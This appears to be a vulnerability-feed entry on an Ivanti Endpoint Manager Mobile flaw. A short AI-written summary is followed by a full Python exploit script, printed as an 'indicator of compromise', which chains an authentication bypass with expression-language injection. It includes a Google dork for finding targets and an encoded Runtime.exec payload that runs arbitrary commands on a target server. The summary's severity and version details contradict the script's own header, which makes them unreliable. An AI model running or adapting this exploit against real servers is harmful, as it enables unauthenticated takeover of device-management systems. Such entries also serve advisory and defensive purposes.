Ivanti Endpoint Manager Mobile version 12. 5. 0. 0 suffers from an authentication bypass vulnerability that allows an attacker to gain unauthorized access without valid credentials. This exploit is remotely executable and targets mobile management infrastructure, potentially compromising endpoint security controls. The vulnerability could enable attackers to manipulate device management functions or access sensitive data. No patches or fixes have been published yet, and while exploit code is available in Python, there are no known exploits in the wild at this time. The medium severity rating reflects the moderate impact and exploitation complexity. European organizations using this specific Ivanti product version are at risk, especially those with mobile device management deployments. Mitigation requires strict network segmentation, monitoring for anomalous access, and rapid patching once available.

AI Analysis

Indicators of Compromise

• exploit-code: #!/usr/bin/env python3 # Exploit Title: Ivanti Endpoint Manager Mobile 12.5.0.0 - Authentication Bypass # Google Dork: inurl:/mifs "Ivanti" OR "EPM" OR "Endpoint Manager" # Date: 2025-01-21 # Exploit Author: [Your Name] (https://github.com/[your-username]) # Vendor Homepage: https://www.ivanti.com/ # Software Link: https://www.ivanti.com/products/endpoint-manager # Version: < 2025.1 # Tested on: Ubuntu 22.04 LTS, Python 3.10 # CVE: CVE-2025-4427, CVE-2025-4428 # Description: # Ivanti Endpoint Manager (EPM) before version 2025.1 contains critical vulnerabilities: # 1. CVE-2025-4427: Expression Language Injection in featureusage API endpoint allowing RCE # 2. CVE-2025-4428: Authentication bypass on administrative endpoints # The vulnerabilities can be chained to achieve unauthenticated remote code execution. # Requirements: # - Python 3.x # - requests >= 2.25.1 # - urllib3 # Usage: # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com # python3 CVE-2025-4427.py -t https://target-ivanti-epm.com --exploit -c "whoami" import requests import urllib3 import argparse from urllib.parse import urljoin urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class IvantiExploit: def __init__(self, target): self.target = target.rstrip('/') + '/' self.session = requests.Session() self.session.verify = False def detect_cve_2025_4427(self): """Quick detection for CVE-2025-4427""" # Simple math payload for detection payload = '%24%7b%32%2b%32%7d' # ${2+2} url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}" try: resp = self.session.get(url, timeout=10) if resp.status_code == 400 and ('4' in resp.text or 'Process[pid' in resp.text): return True, "CVE-2025-4427 VULNERABLE - Expression Language Injection" except: pass return False, "CVE-2025-4427 NOT VULNERABLE" def exploit_rce(self, command='id'): """Execute command via CVE-2025-4427""" # URL encode the command cmd_hex = command.encode().hex() cmd_encoded = ''.join(f'%{cmd_hex[i:i+2]}' for i in range(0, len(cmd_hex), 2)) # RCE payload payload = f'%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%28%27%67%65%74%52%75%6e%74%69%6d%65%27%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%29%2e%65%78%65%63%28%27{cmd_encoded}%27%29%7d' url = f"{self.target}mifs/rs/api/v2/featureusage?format={payload}" try: resp = self.session.get(url, timeout=15) if resp.status_code == 400 and 'Process[pid' in resp.text: return True, f"RCE SUCCESS: {resp.text[:200]}" except: pass return False, "RCE FAILED" def detect_cve_2025_4428(self): """Quick detection for CVE-2025-4428""" admin_endpoints = ['/mifs/rs/api/v2/admin', '/admin', '/api/admin'] for endpoint in admin_endpoints: try: url = urljoin(self.target, endpoint) resp = self.session.get(url, timeout=10) if resp.status_code == 200: return True, f"CVE-2025-4428 VULNERABLE - Auth bypass on {endpoint}" except: continue return False, "CVE-2025-4428 NOT VULNERABLE" def run_all_tests(self): """Run all detection tests""" print(f"[+] Testing target: {self.target}") # Test CVE-2025-4427 vuln_4427, msg_4427 = self.detect_cve_2025_4427() print(f"[{'!' if vuln_4427 else '-'}] {msg_4427}") # Test CVE-2025-4428 vuln_4428, msg_4428 = self.detect_cve_2025_4428() print(f"[{'!' if vuln_4428 else '-'}] {msg_4428}") # If 4427 is vulnerable, try RCE if vuln_4427: print("[+] Attempting RCE...") rce_success, rce_msg = self.exploit_rce('whoami') print(f"[{'!' if rce_success else '-'}] {rce_msg}") return vuln_4427 or vuln_4428 def main(): banner = """ --[[ .___ __ .__ _____________________ _____ _____ | |__ _______ _____/ |_|__| \_ _____/\______ \/ \ / \ | \ \/ /\__ \ / \ __\ | | __)_ | ___/ \ / \ / \ / \ | |\ / / __ \| | \ | | | | \ | | / Y \/ Y \ |___| \_/ (____ /___| /__| |__| /_______ / |____| \____|__ /\____|__ / \/ \/ \/ \/ \/ --]] """ print(banner) parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., https://target.com)') parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)') parser.add_argument('--exploit', action='store_true', help='Attempt exploitation') args = parser.parse_args() exploit = IvantiExploit(args.target) if args.exploit: print(f"[+] Exploiting with command: {args.command}") success, result = exploit.exploit_rce(args.command) print(f"[{'!' if success else '-'}] {result}") else: exploit.run_all_tests() if __name__ == "__main__": main()